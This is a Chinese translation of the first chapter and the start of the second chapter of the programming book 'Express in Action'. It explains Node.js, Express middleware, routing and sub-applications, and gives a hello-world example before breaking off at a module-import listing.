Express-实战-全-

Express 实战(全)

原文:Express in Action

译者:飞龙

协议:CC BY-NC-SA 4.0

1  什么是 Express?

在我们谈论 Express 之前,我们需要先谈谈 Node.js。

在其生命的大部分时间里,JavaScript 编程语言都生活在 Web 浏览器中。它最初是一种简单的脚本语言,用于修改网页的细节,但后来发展成为一种复杂的语言,拥有大量的应用程序和库。许多浏览器厂商,如 Mozilla 和 Google,开始投入大量资源到快速的 JavaScript 运行时中,因此 Google Chrome 和 Mozilla Firefox 的 JavaScript 引擎变得更快。

2009 年,Node.js 出现了。Node 将 Google Chrome 的强大 JavaScript 引擎 V8 从浏览器中提取出来,使其能够在服务器上运行。在浏览器中,开发者别无选择,只能选择 JavaScript。除了 Ruby、Python、C#、Java 或其他语言外,开发者现在在开发服务器端应用程序时也可以选择 JavaScript。

JavaScript 可能不是适合每个人的完美语言,但 Node.js 有一些真正的优势。首先,V8 JavaScript 引擎速度快,Node 鼓励异步编程风格,这使得代码运行更快,同时避免了多线程的噩梦。由于 JavaScript 的流行,它也拥有大量的有用库。但 Node.js 最大的好处是能够在浏览器和服务器之间共享代码。开发者不需要在客户端和服务器之间进行任何类型的上下文切换。现在,他们可以在两个不同的 JavaScript 运行时(浏览器和服务器)之间使用相同的代码和相同的编程范式。

Node.js 开始流行起来——人们认为它非常酷。

与基于浏览器的 JavaScript 一样,Node.js 提供了一系列低级功能,您需要这些功能来构建应用程序。但与基于浏览器的 JavaScript 一样,其低级功能可能有点冗长且难以理解。

接下来是 Express.js。Express 是一个框架,它作为 Node.js Web 服务器的轻量级层,使得开发 Node.js Web 应用程序更加愉快。

从哲学上讲,Express.js 与 jQuery 类似。人们想向他们的网页添加动态内容,但“纯”浏览器 API 可能会很冗长、令人困惑,并且功能有限。开发者经常不得不编写大量的样板代码。jQuery 的存在就是为了减少这种样板代码,通过简化浏览器的 API 并添加有用的新功能。基本上就是这样。

Express 完全一样。人们想用 Node.js 开发 Web 应用程序,但“纯”Node.js API 可能会很冗长、令人困惑,并且功能有限。开发者经常不得不编写大量的样板代码。Express 的存在就是为了减少这种样板代码,通过简化 Node.js 的 API 并添加有用的新功能。基本上就是这样!

就像 jQuery 一样,Express 旨在可扩展。它对您应用程序的大部分决策采取放手的态度,并且可以很容易地通过第三方库进行扩展。在这本书和您的 Express 生涯中,您将不得不就您应用程序的架构做出决定,并且您将通过一系列强大的第三方模块扩展 Express。

您可能不会为了“简而言之”的定义而选择这本书。本章的其余部分(以及整本书)将更深入地讨论 Express。

注意:本书假设您熟悉 JavaScript,但不熟悉 Node.js。

1.1 Node.js 是什么?

Node.js 不是儿戏。

当我开始使用 Node.js 时,我很困惑。这是什么?

Node.js(通常简称为“Node”)只是一个 JavaScript 平台——一种运行 JavaScript 的方式。大多数情况下,JavaScript 是在网页浏览器中运行的。但 JavaScript 语言本身并没有要求它必须在浏览器中运行。它是一种编程语言,就像 Ruby、Python、C++、PHP 或 Java 一样。当然,所有流行的网页浏览器都捆绑了 JavaScript 运行时,但这并不意味着它必须在那里运行。如果您正在运行一个名为 myfile.py 的 Python 文件,您会运行python myfile.py。但您可以编写自己的 Python 解释器,命名为 SnakeWoman,然后运行snakewoman myfile.py。他们用 Node 做了同样的事情;您不需要输入javascript myfile.js,而是输入node myfile.js

在浏览器之外运行 JavaScript 让我们可以做很多事情——实际上任何“常规”编程语言都能做的事情——但它主要用于 Web 开发。

好吧,所以我们可以将 JavaScript 运行在服务器上——我们为什么要这样做呢?

许多开发者会告诉您 Node.js 运行速度快,这是真的。Node.js 并不是市场上最快的东西,但它有两个原因使其运行速度快。

第一个原因很简单:JavaScript 引擎速度快。它基于 Google Chrome 中使用的引擎,该引擎以其快速的 JavaScript 引擎而闻名。它可以像没有明天一样执行 JavaScript,每秒处理数千条指令。

第二个原因是它处理并发的能力,这稍微复杂一些。它的性能来自于其异步操作。

我能想到的最佳现实类比是烘焙。假设我在做一些松饼。我必须准备一些面糊。在我准备面糊的时候,我实际上不能做其他事情。我不能坐下来看书,不能做其他烹饪,等等。但一旦我把松饼放进烤箱,我并不会站在那里盯着烤箱直到它做好——我会去做其他事情。也许我开始准备更多的面糊。也许我读一本书。无论如何,我不必等待松饼做好才能做其他事情。

在 Node.js 中,浏览器可能会向你的服务器请求某些内容。你开始响应这个请求,然后另一个请求到来。假设这两个请求都需要与外部数据库通信。你可以询问外部数据库关于第一个请求的信息,而在外部数据库思考的时候,你可以开始响应第二个请求。你并不是同时做两件事,但当别人在工作时,你不会被等待所阻碍。

其他运行时没有默认内置这种奢侈。例如,Ruby on Rails 实际上一次只能处理一个请求。要同时处理多个请求,你实际上不得不购买更多的服务器。(当然,这个说法有很多限制。)

图 1.1 展示了这可能会是什么样子:

图 1.1 比较异步代码(如 Node)与同步代码。请注意,尽管你永远不会并行执行代码,但异步代码可以完成得更快。

我并不是说 Node.js 因为其异步能力而成为世界上最快的。Node.js 确实可以从一个 CPU 核心中挤出很多性能,但它并不擅长多核心。其他编程语言确实允许你同时积极做两件事。用烘焙的例子来说:其他编程语言让你可以购买更多的烤箱,这样你就可以同时烤更多的松饼。Node 开始支持这种功能,但它在 Node 中的“一等”程度不如在其他编程语言中。

个人而言,我不认为性能是选择 Node 的最大原因。虽然它比 Ruby 或 Python 等其他脚本语言要快,但我认为最大的原因是它是一种编程语言。

通常,当你编写 Web 应用程序时,你会使用 JavaScript。但在 Node 之前,你必须用两种不同的编程语言编写所有内容。你必须学习两种完全不同的技术、范式和库。有了 Node,后端开发者可以跳入前端代码,反之亦然。我个人认为这是运行时最强大的功能。

似乎其他人也同意我的观点:人们创建了“MEAN 堆栈”,这是一个全 JavaScript 的 Web 应用程序堆栈,包括 MongoDB(由 JavaScript 控制的数据库)、Express、Angular.js(一个前端 JavaScript 框架)和 Node.js。“JavaScript 无处不在”的心态是 Node 的一个巨大优势。

大型公司甚至开始支持 Node;其中包括沃尔玛、BBC、领英和 PayPal。这不是儿戏。

1.2     什么是 Express?

Express 是一个相对较小的框架,它位于 Node.js 的 Web 服务器功能之上,以简化其 API 并添加有用的新功能。它通过中间件和路由使组织应用程序的功能变得更容易;它向 Node.js 的 HTTP 对象添加了有用的实用工具;它促进了动态 HTML 视图的渲染;它定义了一个易于实现的扩展性标准。本书将更深入地探讨这些功能,所以所有这些术语很快就会变得不再神秘。

1.2.1 Node.js 中的功能

当您在 Node.js 中创建一个网络应用程序(或更准确地说,一个 Web 服务器)时,您为您的整个应用程序编写一个单一的 JavaScript 函数。这个函数监听网络浏览器的请求,或消费您的 API 的移动应用程序的请求,或任何其他与您的服务器通信的客户端。当请求到来时,这个函数将查看请求并确定如何响应。例如,如果您在 Web 浏览器中访问主页,这个函数可以确定您想要主页,并将发送一些 HTML。如果您向 API 端点发送消息,这个函数可以确定您想要什么,并以 JSON(例如)响应。

假设我们正在编写一个网络应用程序,告诉用户服务器上的时间和时区。它将这样工作:

如果客户请求主页,我们的应用程序将返回一个显示时间的 HTML 页面。

如果客户请求其他任何内容,我们的应用程序将返回一个 HTTP 404“未找到”错误和一些伴随的文本。

如果您在没有 Express 的情况下在 Node.js 上构建应用程序,客户端击中您的服务器可能看起来像图 1.2。

图片

图 1.2 通过 Node.js 网络应用程序的请求流程。圆形是由您作为开发者编写的;方形超出了您的领域。

在您的应用程序中处理浏览器请求的 JavaScript 函数被称为请求处理函数。这没有什么特别的;它只是一个接受请求、确定要做什么并响应的 JavaScript 函数;就是这样!Node 的 HTTP 服务器处理客户端和您的 JavaScript 函数之间的连接,这样您就不必处理复杂的网络协议。

在代码中,这是一个接受两个参数的函数:一个表示请求的对象和一个表示响应的对象。在我们的时间/时区应用程序中,请求处理函数可能会检查客户端请求的 URL。如果他们请求主页,请求处理函数应该以 HTML 页面的当前时间响应。否则,它应该响应 404。每个 Node.js 应用程序都是这样的:它是一个单一的请求处理函数,响应请求。从概念上讲,这很简单!

问题在于 Node API 可能会变得复杂。想要发送单个 JPEG 文件?那将是 45 行代码。想要创建可重用的 HTML 模板?自己找出如何实现。Node.js 的 HTTP 服务器功能强大,但它缺少了你构建真实应用程序时可能需要的许多功能。

Express 的诞生是为了让使用 Node.js 编写网络应用程序变得更加容易。

1.2.2 Express 为 Node 增加的功能

大体上,Express 为 Node.js HTTP 服务器添加了两个主要功能。

  1. Express 为 Node.js 的 HTTP 服务器添加了许多有用的便利功能,抽象掉了许多复杂性。例如,在原始的 Node.js 中发送单个 JPEG 文件相当复杂(特别是如果你考虑性能的话),Express 将其简化为仅仅一行。

  2. Express 允许你将一个庞大的请求处理函数重构为许多更小的请求处理函数,这些函数只处理特定的部分。这更加易于维护和模块化。

与图 1.2 相比,图 1.3 展示了请求如何通过 Express 应用程序流动。

图 1.3 Express 中的请求流程。再次强调,圆圈是你编写的代码,正方形则超出了你的领域。

这个图可能看起来稍微复杂一些,但对于你作为开发者来说,它要简单得多。这里实际上只有两件事在进行:

  1. 与一个大的请求处理函数相比,Express 让你编写许多小的函数(其中许多可以是第三方且不是由你编写的)。一些函数对每个请求都会执行(例如,记录所有请求的函数)而其他函数只在某些情况下执行(例如,只处理主页或 404 页面的函数)。Express 有许多用于划分这些较小请求处理函数的实用工具。

  2. 请求处理函数接受两个参数:一个是请求,另一个是响应。Node 的 HTTP 服务器为你提供了一些功能;例如,Node 的 HTTP 服务器允许你从一个变量中提取浏览器的用户代理。Express 通过添加额外的功能来增强这一点,例如,轻松访问传入请求的 IP 地址和改进的 URL 解析。响应对象也得到了加强;Express 添加了诸如 sendFile 方法之类的功能,这是一个一行命令,相当于大约 45 行复杂的文件代码。这使得编写这些请求处理函数变得更加容易。

与使用冗长的 Node.js API 管理一个庞大的请求处理函数相比,你将编写多个小的请求处理函数,这些函数通过 Express 和其更简单的 API 变得更加愉快。

1.3 Express 的最小化哲学

Express 是一个框架,这意味着你将不得不以“Express 方式”构建你的应用程序。但“Express 方式”并不太具有偏见;它不会给你一个非常僵化的结构。这意味着你可以构建许多不同类型的应用程序,从视频聊天应用程序到博客到 API。

构建一个仅使用 Express 的任何大小的 Express 应用程序是非常罕见的。仅凭 Express 本身可能无法完成你需要的所有事情,你可能会发现自己需要将大量其他库集成到你的 Express 应用程序中。(我们将在本书中查看许多这些库。)你可以得到你需要的 exactly 东西,没有任何额外的冗余,这使你能够自信地理解应用程序的每个部分。以这种方式,它非常适合来自 Unix 世界的“做好一件事”的哲学。

但这种简约主义是一把双刃剑。一方面,它很灵活,你的应用程序没有不必要的冗余。另一方面,与其他框架相比,它为你做的很少。这意味着你会犯错误,你必须对你的应用程序架构做出更多的决定,你必须花更多的时间寻找正确的第三方模块。你得到的现成功能更少。

当有些人可能喜欢灵活的框架时,其他人可能想要更多的刚性。例如,PayPal 喜欢 Express,但在其之上构建了一个框架,该框架对众多开发者强制执行更严格的约定。Express 不关心你如何结构化你的应用程序,所以两个开发者可能会做出完全不同的决定。

因为你可以自由地引导你的应用程序走向任何方向,你可能会做出不明智的决定,这会在以后给你带来麻烦。有时,我回顾我仍在学习的 Express 应用程序,并想,“我为什么要这样做?”

为了自己编写更少的代码,你最终会寻找正确的第三方包来使用。有时,这很简单;有一个每个人都喜欢的模块,你也喜欢它,这是一场天作之合。其他时候,选择更困难,因为有很多还可以的或者数量很少。一个更大的框架可以为你节省时间和头疼,你只需使用你得到的东西。

对于这个问题,没有正确答案,这本书也不会试图辩论大框架和小框架之间的最终胜利者。但事实是,Express 是一个简约框架,不管好坏!

1.4 Express 的核心部分

好吧,所以 Express 是简约的,并且它为 Node.js 加上了糖衣,使其更容易使用。它是如何做到这一点的呢?

当你真正深入思考时,Express 只有四个主要功能。接下来的几节有很多概念性的内容,但并不是空谈;我们将在接下来的章节中深入细节。

1.4.1 中间件

正如我们上面所看到的,原始的 Node.js 给我们提供了一个请求处理函数来工作。请求进入我们的函数,响应从我们的函数输出。

中间件的命名并不准确,但它是一个非 Express 特定的术语,已经存在一段时间了。这个想法很简单:而不是一个单一的、大型的请求处理函数,我们调用几个请求处理函数,每个函数处理一小部分工作。这些较小的请求处理函数被称为中间件函数,有时也简称为“中间件”。

中间件可以处理各种任务,从记录请求到发送静态文件到设置 HTTP 头。例如,我们可能在应用程序中使用的第一个中间件函数是一个日志记录器——记录进入服务器的每个请求。当日志记录器完成记录后,它将继续传递到链中的下一个中间件。下一个中间件函数可能用于验证用户身份。如果他们访问的是禁止的 URL,则响应一个“未授权”页面。如果允许访问,则继续传递到链中的下一个函数。下一个函数可能发送主页并完成。两种可能的选项在图 1.4 中有展示。

图片

图 1.4 展示了两个请求通过中间件函数的过程。可以看到,中间件有时会继续传递,但有时会响应请求。

在图 1.4 中,日志中间件位于链的最前端,并且总是会被调用,因此日志文件中总会记录一些内容。接下来,日志中间件继续传递到链中的下一个中间件,即授权中间件。这个中间件会根据某种规定决定用户是否有权继续操作。如果有,它将继续传递到链中的下一个中间件。否则,向用户发送“您未授权!”的消息并停止链的传递。(这个消息可能是一个 HTML 页面、一个 JSON 响应或其他任何内容,具体取决于应用程序。)最后,如果调用最后一个中间件,它将发送一些秘密信息,并且不会继续传递到链中的任何其他中间件。(同样,这个最后的中间件可以发送任何类型的响应,从 HTML 到 JSON 到图像文件。)

中间件最大的特点之一是它相对标准化,这意味着很多人为 Express 开发了中间件(包括 Express 团队的人)。这意味着如果你能想到中间件,可能有人已经制作了它。有用于编译静态资源如 LESS 和 SCSS 的中间件;有用于安全和用户认证的中间件;有用于解析 cookies 和会话的中间件。

1.4.2 路由

路由比中间件命名得更好。像中间件一样,它将一个单一的大请求处理函数分解成更小的部分。然而,与中间件不同的是,这些请求处理函数的执行是条件性的,取决于客户端发送的 URL 和 HTTP 方法。

例如,我们可能会构建一个包含主页和留言簿的网页。当用户向主页 URL 发送 HTTP GET 请求时,Express 应该发送主页。但当用户访问留言簿 URL 时,它应该发送留言簿的 HTML,而不是主页的 HTML!如果他们在留言簿中发表评论(通过向特定 URL 发送 HTTP POST 请求),这将更新留言簿。路由允许您通过路由对应用程序的行为进行分区。

这些路由的行为,就像中间件一样,是在请求处理函数中定义的。当用户访问主页时,它将调用您编写的请求处理函数。当用户访问留言簿 URL 时,它将调用另一个您编写的请求处理函数。

Express 应用程序具有中间件和路由;它们相互补充。例如,您可能希望记录所有请求,但您也想要在用户请求时提供主页。

1.4.3 子应用程序

Express 应用程序通常可以非常小,甚至可以只在一个文件中。然而,随着您的应用程序变大,您将开始想要将它们分解成多个文件夹和文件。Express 对您如何扩展应用程序没有意见,但它提供了一项非常重要的功能,非常有帮助:子应用程序。在 Express 术语中,这些小程序被称为路由器。

Express 允许您定义可以在大型应用程序中使用的路由器。编写这些子应用程序几乎与编写“正常大小”的应用程序完全一样,但它允许您进一步将应用程序分解成更小的部分。例如,您可能有一个管理面板在您的应用程序中,它可以与您的应用程序的其他部分非常不同地工作。您可以将管理面板代码与中间件和路由并排放置,但您也可以为管理面板创建一个子应用程序。图 1.5 显示了如何使用路由器分解 Express 应用程序。

图片

图 1.5 展示了如何将大型应用程序分解为路由器的示例图。

这个特性直到您的应用程序变得很大时才真正发光,但一旦它们变得很大,它就非常有帮助。

1.4.4 便利性

Express 应用程序由中间件和路由组成。它们都需要您编写请求处理函数,所以您将经常这样做!

为了使这些请求处理函数更容易编写,Express 增加了一些便利功能。在原始 Node.js 中,如果您想编写一个请求处理函数,从文件夹发送 JPEG 文件,那需要相当多的代码。在 Express 中,这只是一个调用sendFile方法的调用。Express 提供了一系列功能,使渲染 HTML 更加容易,而 Node.js 则保持沉默。它还附带了一些函数,使解析传入的请求变得更容易,例如获取客户端的 IP 地址。

与上述功能不同,这些便利性在概念上并没有改变您组织应用程序的方式,但它们可以非常有帮助。

1.5     Express 的生态系统

Express,像任何工具一样,并不是孤立存在的。

它生活在 Node.js 生态系统之中,因此你有一系列第三方模块可以帮助你,例如与数据库的接口。因为 Express 是可扩展的,许多开发者已经创建了与 Express(而不是通用的 Node.js)兼容的第三方模块,例如专门的中间件或渲染动态 HTML 的方法。

1.5.1  Express 与其他网络应用框架的比较

Express 不仅仅是第一个网络应用框架,也不会是最后一个。

Express 并不是 Node.js 世界中唯一的框架。也许它最大的“竞争对手”叫做 Hapi.js。像 Express 一样,它是一个没有意见、相对较小的框架,具有路由和类似中间件的功能。它与 Express 的不同之处在于,它不旨在平滑 Node.js 内置的 HTTP 服务器模块,而是构建一个相当不同的架构。这是一个相当成熟的框架,由沃尔玛的团队开发,并被 Mozilla、OpenTable 以及 npm 注册使用!虽然我怀疑 Express 开发者和 Hapi 开发者之间没有多少敌意,但 Hapi 是 Express 最大的“竞争对手”。

在 Node.js 世界中也有更大的框架,其中最受欢迎的可能是全栈的 Meteor。虽然 Express 对你如何构建应用程序没有意见,但 Meteor 有一个严格的结构。虽然 Express 只处理 HTTP 服务器层,但 Meteor 是全栈的,在客户端和服务器上运行代码。这仅仅是设计选择——一个并不天生比另一个更好。

就像 Express 在 Node.js 之上堆叠特性一样,有些人决定在 Express 之上堆叠特性。PayPal 的一些人创建了 Kraken;虽然 Kraken 技术上只是 Express 中间件,但它为你的应用程序设置了大量的内容,从安全默认设置到捆绑的中间件。Sails.js 是另一个建立在 Express 之上的新兴框架,它添加了数据库、WebSocket 集成、API 生成器、资产管道等。这两个框架在设计上比 Express 更有意见。

Express 有几个特性,其中之一就是中间件。Connect 是一个 Node.js 网络应用框架,它仅仅是中间件层。Connect 没有路由或便利性;它只是中间件。Express 以前使用 Connect 作为其中间件层,而现在它不再使用 Connect 进行中间件,但 Express 中间件与 Connect 中间件完全兼容。这意味着任何在 Connect 中工作的中间件也在 Express 中工作,这为你的工具箱添加了大量的有用第三方模块。

这是 JavaScript,所以有无数其他的 Node.js 网络应用框架,我相信我没有提到某个人的,可能会冒犯了他们。

在 Node.js 世界之外,也有类似的框架。

Express 在很大程度上受到了 Ruby 世界中一个最小化 Web 应用程序框架 Sinatra 的启发。Sinatra 和 Express 一样,具有路由和类似中间件的功能。Sinatra 启发了许多其他编程语言的克隆和重新解释,所以如果你曾经使用过 Sinatra 或类似 Sinatra 的框架,Express 将会熟悉。Express 也类似于 Python 世界的 Bottle 和 Flask。

Express 不像 Python 的 Django 或 Ruby on Rails 或 ASP.NET 或 Java 的 Play;这些都是更大、更有观点的框架,具有许多功能。Express 也不同于 PHP;虽然它是在服务器上运行的代码,但它与“纯”PHP 相比,与 HTML 的耦合并不紧密。

本书应该告诉你 Express 比所有这些其他框架都要好,但它不能——Express 只是构建服务器端 Web 应用程序的一种方式。它有一些其他框架没有的真正优势,比如 Node.js 的性能和无处不在的 JavaScript,但它为你做的比大型框架可能做的要少,而且有些人不认为 JavaScript 是最好的语言。我们可以永远争论哪个最好,但永远找不到答案,但重要的是要看到 Express 在这个画面中的位置。

1.5.2 Express 的用途

理论上,Express 可以用来构建任何 Web 应用程序。它可以处理传入的请求并对它们做出响应,因此它可以做上述大多数其他框架中可以做的事情。你为什么选择 Express 而不是其他东西呢?

在 Node.js 中编写代码的一个好处是能够在浏览器和服务器之间共享 JavaScript 代码。从代码的角度来看,这很有帮助,因为你可以实际上在客户端和服务器上运行相同的代码。从心理角度来看,这也非常有帮助;你不必让你的思维进入“服务器模式”,然后再切换到“客户端模式”——在某种程度上,它们都是同一件事。这意味着前端开发者可以编写后端代码,而无需学习全新的语言及其范式,反之亦然。有一些学习要做——否则这本书就不会存在了!——但其中很多对前端 Web 开发者来说都很熟悉。

Express 帮助你做到这一点,人们为一种全 JavaScript 栈的排列想出了一个花哨的名字:MEAN 栈。就像“LAMP”栈代表 Linux、Apache、MySQL 和 PHP 一样,“MEAN”代表 MongoDB(一个 JavaScript 友好的数据库)、Express、Angular(一个前端 JavaScript 框架)和 Node.js。人们喜欢 MEAN 栈,因为它是一个全栈 JavaScript,你可以获得上述所有好处。

Express 经常被用来驱动单页应用程序,或称为 SPAs。SPAs 在前端非常依赖 JavaScript,并且通常需要一个服务器组件。服务器通常只需要简单地提供 HTML、CSS 和 JavaScript,但通常还会有一个 REST API。Express 可以很好地完成这两件事;它在提供 HTML 和其他文件方面做得很好,在构建 API 方面也做得很好。由于前端开发者的学习曲线相对较低,他们可以轻松地构建一个简单的 SPA 服务器,而不需要太多新的学习。

当你使用 Express 编写应用程序时,你无法避开使用 Node.js,所以你将拥有 MEAN 栈中的“E”和“N”部分,但其他两个部分(MongoDB 和 Angular)由你决定,因为 Express 是无意见的。想在前端用 Backbone.js 替换 Angular?现在就是 MEBN 栈。想用 SQL 而不是 MongoDB?现在就是 SEAN 栈。虽然 MEAN 是一个常见的术语,并且是一个流行的配置,但你可以选择你想要的任何配置。在这本书中,我们将介绍 MongoDB 数据库,所以我们将得到“MEN”栈。

Express 还可以与许多实时功能并排使用。虽然其他编程环境可以支持实时功能,如 WebSockets 和 WebRTC,但 Node.js 似乎比其他语言和框架更多地支持这些功能。这意味着你可以因为 Node 支持,Express 也支持。

1.5.3 Node 和 Express 的第三方模块

这本书的前几章讨论了“核心”Express——也就是说,这些是内置于框架中的内容。非常粗略地说,这是路由和中间件。但超过一半的书本内容涵盖了如何将 Express 与第三方模块集成。

对于 Express 有大量的第三方模块。其中一些是专门为 Express 制作的,并且与它的路由和中间件功能兼容。其他一些不是专门为 Express 制作的,但在 Node.js 中表现良好,因此它们也与 Express 兼容。

在这本书中,我们将选择一些第三方集成并展示一些示例。但由于 Express 是无意见的,这本书中的内容并不是唯一的选择。如果我在这本书中介绍了第三方工具 X,但你更喜欢替代的第三方工具 Y,你可以将它们替换掉。

Express 有一些用于渲染 HTML 的小功能。如果你曾经使用过“纯”PHP 或像 ERB、Jinja2、HAML 或 Razor 这样的模板语言,你已经在服务器上处理过 HTML 的渲染。Express 并没有内置任何模板语言,但它几乎与每个基于 Node 的模板引擎都很好地配合,正如我们将看到的。一些流行的模板语言自带 Express 支持,而其他一些则需要一个简单的辅助库。在这本书中,我们将探讨两种选择:EJS(看起来很像 HTML)和 Jade(试图用一种激进的新语法修复 HTML)。

Express 没有任何关于数据库的概念。你可以根据你的选择持久化应用程序的数据;在文件中,在关系型 SQL 数据库中,或者在其他类型的数据存储机制中。在这本书中,我们将介绍流行的 MongoDB 数据库用于数据存储。正如我们上面所讨论的,你不应该觉得 Express 会让你感到“受限”——如果你想使用另一个数据存储,Express 会让你做到这一点。

用户通常希望他们的应用程序是安全的。有许多有用的库和模块(一些是针对“原始”Node 的,一些是针对 Express 的)可以加强你的 Express 应用程序的安全性。我们将在关于安全性的章节中探讨所有这些内容(这是我个人最喜欢的章节之一)。我们还将讨论测试我们的 Express 代码,以确保为我们的应用程序提供动力的代码是健壮的。

有一点需要注意:没有所谓的“Express 模块”——只有 Node 模块。一个 Node 模块可以与 Express 兼容并且很好地与它的 API 一起工作,但它们都是来自 npm 注册表的 JavaScript,你以同样的方式安装它们。就像在其他环境中一样,一些模块与其他模块集成,而其他模块可以独立存在。最终,Express 只是一个像其他任何东西一样的 Node 模块。

当你需要帮助时

我真心希望这本书能有所帮助,并且充满知识,但一个作者能塞进书里的智慧是有限的。在某个时候,你需要展开翅膀去寻找答案。让我尽我所能来引导你:

对于 API 文档和简单的指南,官方的 expressjs.com/ 是你该去的地方。你还可以在 Express 仓库的整个目录中找到示例应用程序,在 github.com/strongloop/express/tree/master/examples 。我在尝试找到“正确”做事的方式时发现这些示例很有帮助。那里有很多示例;去看看吧!

对于 Node 模块,你将使用 Node 内置的 npm 工具,并从 www.npmjs.org/ 上的注册表中安装东西。如果你需要帮助找到好的模块,我建议你阅读 Substack 的“寻找模块”指南,网址为 http://substack.net/finding_modules。这是一份关于如何找到高质量 Node 包的精彩总结。

Express 以前是基于另一个名为 Connect 的包构建的,并且仍然与 Connect 制作的模块高度兼容。如果你找不到 Express 的模块,你可能通过搜索 Connect 会更有运气。这也适用于你在寻找答案时。

就像往常一样,使用你喜欢的搜索引擎。

1.6 必不可少的“Hello World”

每次介绍新的代码事物都需要一个“Hello World”,对吧?

让我们看看我们可以构建的最简单的 Express 应用程序之一:“Hello World”。我们将在整本书中更详细地探讨这一点,所以如果你现在觉得有些内容不太明白,请不要担心。

这是 Express 中的“Hello World”:

列表 1.1 Express 中的“Hello World”

var express = require("express");  #A   var app = express();  #B   app.get("/", function(request, response) {  #C   response.send("Hello world!");            #C });                                         #C   app.listen(3000, function() {                       #D   console.log("Express app started on port 3000."); #D``});                                                 #D

A 引入 Express 并将其放入一个变量中。

B 调用 express()创建一个新的 Express 应用程序,并将其放入名为“app”的变量中。

C 当有人向您的网站根目录(在“/”)发送请求时,他们将收到“Hello world!”。

D 在端口 3000 上启动 Express 服务器并记录服务器已启动。

再次强调:如果这一切对您来说还不清楚,请不要担心!但您可能已经看到我们正在创建一个 Express 应用程序,定义了一个响应“Hello world!”的路由,并在端口 3000 上启动了我们的应用程序。要运行此应用程序,您需要执行几个步骤——所有这些都会在接下来的几章中变得清晰。

我们很快就会了解 Express 的所有秘密。

1.7     总结

在本章中,您了解到:

·  Node.js 是编写 Web 应用程序的强大工具,但这样做可能会很繁琐。Express 就是为了简化这个过程而创建的。

·  Express 是一个最小化、无偏见且灵活的框架。

·  Express 有几个关键特性:

·  中间件,一种将应用程序分解成更小行为片段的方法。通常,中间件按顺序逐个调用。

·  路由将您的应用程序分解成更小的函数,这些函数在用户访问特定资源时执行;例如,当用户请求主页 URL 时显示主页。

·  路由器可以将大型应用程序进一步分解成更小的、可组合的子应用程序。

·  您的大部分 Express 代码都涉及编写请求处理函数,Express 在编写这些函数时提供了一些便利。

2  Node.js 的基础知识

在第一章中,我们讨论了 Node.js 是什么。我们讨论了它是 JavaScript,它是异步的,并且它有一套丰富的第三方模块。如果你像我一样,当你刚开始使用 Node 时,你并没有完全理解这些事情。本章旨在提供我希望拥有的 Node 入门介绍:简短而精炼。

我们将讨论

·  安装 Node

·  如何使用其模块系统

·  如何安装第三方包

·  它花哨的“事件驱动 I/O”的一些示例。

·  运行你的 Node 代码的一些技巧。

注意:我将假设你已经对 JavaScript 有相当的了解,并且你不想从这个章节中获得 Node 的极其详尽的知识。我还将假设你熟悉如何使用命令行。如果这个关于 Node 的快速介绍有点太快了,你可以查看www.manning.com/cantelon/上的 Node.js in Action 以获取更多信息。

让我们开始吧。

2.1     安装 Node

JavaScript 世界的主题是选择过多,Node 的安装也不例外;有太多不同的方式可以在你的系统上运行 Node。

nodejs.org/download/的官方下载页面上有针对几乎所有平台的下载链接——Windows、Mac 和 Linux。平台的选择应该是显而易见的——选择适合你操作系统的版本。如果你不确定你的系统是 32 位还是 64 位,请在网上搜索以尝试回答这个问题,因为如果你可以选择 64 位,你将获得很多性能上的好处。Mac 和 Windows 用户可以选择下载二进制文件或安装程序,我建议选择后者。

如果你系统中有包管理器,你可以使用它。Node.js 可在多个包管理器上使用,包括 apt-get、Homebrew 和 Chocolatey。你可以在github.com/joyent/node/wiki/Installing-Node.js-via-package-manager查看官方的“通过包管理器安装 Node.js”指南。

如果你使用的是 Mac 或 Linux,我强烈推荐使用 Node 版本管理器,或简称 NVM,可以在github.com/creationix/nvm找到。如果你使用的是 Windows,NVMW 在github.com/hakobera/nvmw为 Windows 用户提供了一个端口。这些程序允许你轻松地在 Node 版本之间切换,如果你想要同时拥有 Node 的稳定版本和令人兴奋的实验性预发布版本,这将是极好的。它还允许你在新版本发布时轻松升级 Node。NVM 还有一些我喜欢的其他好处:它非常容易卸载,并且安装时不需要管理员(root)权限。

NVM 是一个单行安装,你可以从 github.com/creationix/nvm(或 github.com/hakobera/nvmw 用于 Windows 版本)的说明中复制粘贴并运行。

在任何情况下,安装 Node 吧!

2.1.1  运行你的第一个 Node 脚本

无论你选择如何安装 Node,现在是时候运行一些东西了!让我们构建经典的 "hello world"。创建一个名为 helloworld.js 的文件,并在其中放入以下内容:

列表 2.1 helloworld.js

console.log("Hello, world!");

我们使用我们想要打印的参数调用 console.log 函数:字符串 "Hello, world!"。如果你曾经在使用基于浏览器的 JavaScript 编写时使用过控制台,这应该看起来很熟悉。

要运行此代码,请输入 node helloworld.js。(你可能需要 cd 到 helloworld.js 所在的目录。)如果一切顺利,你应该会在屏幕上看到文本!输出将类似于图 2.1。

图 2.1 运行我们的 "hello world" 代码的结果。

2.2     使用模块

大多数编程语言都有一种方式来包含文件 A 以便从文件 B 中提取,这样你就可以将代码分成多个文件。C 和 C++ 有 #include;Python 有 import;Ruby 和 PHP 有 require。一些语言如 C# 在编译时隐式地执行这种跨文件通信。

在 JavaScript 语言的多数历史中,它没有官方的方式来执行这项任务。为了解决这个问题,人们构建了将 JavaScript 文件连接成一个文件的工具,或者构建了像 RequireJS 这样的依赖加载器。许多网络开发者只是简单地用 <script> 标签填充他们的网页。

Node 希望优雅地解决这个问题,并实现了一个名为 CommonJS 的标准模块系统。在其核心,CommonJS 允许你从一个文件中包含另一个文件的代码。

这个模块系统有三个主要组成部分:引入内置模块、引入第三方模块以及创建自己的模块。让我们看看它们是如何工作的。

2.2.1  引入内置模块

Node 有许多内置模块,从名为 "fs" 的模块中的文件系统访问到名为 "util" 的内置模块中的实用函数。

使用 Node 构建网络应用时,一个常见的任务是解析 URL。当浏览器向你的服务器发送请求时,它们会请求一个特定的 URL。也许他们会请求主页;也许他们会请求关于页面;也许他们会请求其他内容。这些 URL 以字符串的形式传入,但我们通常希望解析它们以获取更多信息。Node 有一个内置的 URL 解析模块;让我们使用它来看看如何引入包。

Node 的内置 url 模块公开了一些函数,但 "大块头" 是一个名为 parse 的函数。它接受一个 URL 字符串并提取有用的信息,如域名或路径。

我们将使用 Node 的 require 函数来使用 url 模块。require 与其他语言中的 importinclude 关键字类似。require 接收一个包名称作为字符串参数,并返回一个包。返回的对象没有什么特别之处——它通常是一个对象,但它也可能是函数、字符串或数字。以下是使用 URL 模块的方法:

列表 2.2 导入 Node 的 URL 模块

